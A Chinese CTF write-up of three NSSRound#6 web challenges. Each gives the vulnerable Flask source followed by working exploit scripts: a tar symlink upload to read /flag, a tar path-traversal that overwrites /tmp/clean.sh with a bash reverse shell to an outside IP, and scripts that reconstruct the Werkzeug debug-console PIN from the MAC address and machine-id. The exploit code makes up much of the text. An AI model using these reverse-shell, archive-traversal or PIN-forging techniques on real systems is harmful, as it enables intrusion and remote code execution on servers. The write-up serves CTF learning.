日常做点题娱乐下,刷到了[NSSRound#6 Team]中是三道web题,学习到了不少,记录下知识点。
提示:以下是本篇文章正文内容,下面案例可供参考
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if (os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
能够进行文件的上传与下载,同时限制了文件只能是tar文件,并对文件名进行了过滤,禁止了…和/符号。
解题的主要思路在于:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag。
import requests
s = requests.session()
def upload():
url = 'http://43.142.108.3:28036/upload'
resp = requests.post(url, files={'file': open(file='flag.tar', mode='rb')})
print(resp.text)
def download():
url = 'http://43.142.108.3:28036/download'
resp = s.post(url, data={'filename': 'flag'})
print(resp.text)
if __name__ == "__main__":
upload()
download()
"""
ln -s /flag flag
tar -cvf flag.tar flag
先软连接指向/flag,然后上传并文件即可
"""
check(v2)的解也是一样的
# -*- coding: utf-8 -*-
from flask import Flask, request
import werkzeug.debug
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if os.path.exists(file_save_path):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444': #文件权限位
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
代码通过增加了os.path.islink(filepath)判断下载的文件是否存在软连接,存在则返回?进而导致了不能使用上面的解法。
解题思路:
关于flask框架中PIN码的计算,PIN码的计算通过werkzeug中debug进行计算,主要代码的如下:
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
将两个参数probably_public_bits, private_bits的值进行sha1加密,再加密了cookiesalt和pinsalt。
probably_public_bits参数如下:
probably_public_bits = [
username, #用户名,即/etc/passwd中的某用户
modname, #默认flask.app
getattr(app, "__name__", type(app).__name__), #名称,默认Flask
getattr(mod, "__file__", None), #app.py的路径
]
private_bits参数:
private_bits = [str(uuid.getnode()), get_machine_id()] #uuid.getnode()获取mac地址的十进制值,get_machine_id()获取机器ID
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
通过获取/etc/machine-id或/proc/sys/kernel/random/boot_id值以及/proc/self/cgroup的值,拼接起来返回,因为docker机可能没有/etc/machine-id的值,所以只获取一个就break。
总的来说,PIN码的简单计算如下:
- 获取MAC地址的十进制值 /sys/class/net/eth0(ens33)/address
- 获取一段machine-id的值,/etc/machine-id+/proc/self/cgroup或/proc/sys/kernel/random/boot_id+/proc/self/cgroup,/etc/machine-id的优先级要/proc/sys/kernel/random/boot_id比高
- 通过SHA-1算法以及加盐计算出PIN码
解题:
bash -c "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1"
exp.py如下:
import requests as req
import tarfile
def changeFileName(filename):
filename.name = '../../../../tmp/clean.sh'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add('exp.sh', filter=changeFileName)
def upload():
url = 'http://43.143.7.127:28589/upload'
response = req.post(url=url, files={"file": open("exp.tar", 'rb')})
print(response.text)
def clean():
url = 'http://43.143.7.127:28589/clean'
response = req.post(url)
print(response.text)
if __name__ == "__main__":
upload()
clean()
flag文件中并没有flag,flag应该在you_could_never_guess_the_flag_path中,但是只有root用户能够读取,发现main.py是root权限运行,可以计算PIN码进入console控制台获取到flag
python环境是3.10,路径是/usr/local/lib/python3.10/site-packages/flask/app.py
因此可以计算出PIN码:
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376926199',
'96cec10d3d9307792745ec3b85c896208a9b826a2fbed5b2148857d4d630f05c481cf898014dbbfc396e4924ea79d250'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
return 'GET /view?filename=app.py'
@app.route("/view")
def viewFile():
filename = request.args.get('filename')
if "flag" in filename:
return "WAF"
if "cgroup" in filename:
return "WAF"
if "self" in filename:
return "WAF"
try:
with open(filename, 'r') as f:
templates = '''{}
'''.format(f.read())
return render_template_string(templates)
except Exception as e:
templates = ''''''
return render_template_string(templates)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)
就是一道直接算PIN,读flask的题目,当时比赛的时候没查到该怎么读docker-id,因为cgroup和self都被过滤了,后来看别人WP看到可以读/proc/1/cpuset或者/proc/1/mountinfo
import hashlib
from itertools import chain
probably_public_bits = [
'app'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
str(int("02:42:ac:02:0b:53".replace(":",""),16)),
'7265fe765262551a676151a24c02b7b6'+'b733d101c2e332fe0da54516ff5905c11f378d4b07a0514f7bf5e07a3d85f2ad'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
主要是关于PIN码的计算,先从/etc/passwd获取到shell的用户,然后通过shell命令获取app.py的路径和版本,然后再获取MAC地址转换十进制,最后获取/etc/machine-id或/proc/sys/kernel/random/boot_id与/proc/self/cgroup拼接,/etc/machine-id要比/proc/sys/kernel/random/boot_id,然后根据python的版本获取计算PIN码的算法,此处是SHA1,计算出PIN码。